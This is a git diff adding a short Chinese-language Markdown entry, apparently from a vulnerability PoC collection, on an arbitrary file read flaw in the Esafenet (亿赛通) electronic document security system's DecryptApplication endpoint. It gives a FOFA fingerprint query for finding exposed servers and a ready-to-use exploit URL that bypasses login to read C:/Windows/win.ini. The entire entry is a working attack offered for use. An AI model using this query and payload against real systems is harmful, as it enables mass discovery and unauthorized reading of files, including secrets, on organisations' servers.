diff --git a/亿赛通电子文档安全管理系统DecryptApplication存在任意文件读取漏洞.md b/亿赛通电子文档安全管理系统DecryptApplication存在任意文件读取漏洞.md new file mode 100644 index 0000000..b7e31ce --- /dev/null +++ b/亿赛通电子文档安全管理系统DecryptApplication存在任意文件读取漏洞.md @@ -0,0 +1,11 @@ +## 亿赛通电子文档安全管理系统DecryptApplication存在任意文件读取漏洞 + +## fofa +``` +app="亿赛通电子文档安全管理系统" +``` + +## poc +``` +http://ip/CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C:///Windows/win.ini&uploadFileId=1&fileName1=test1111 +```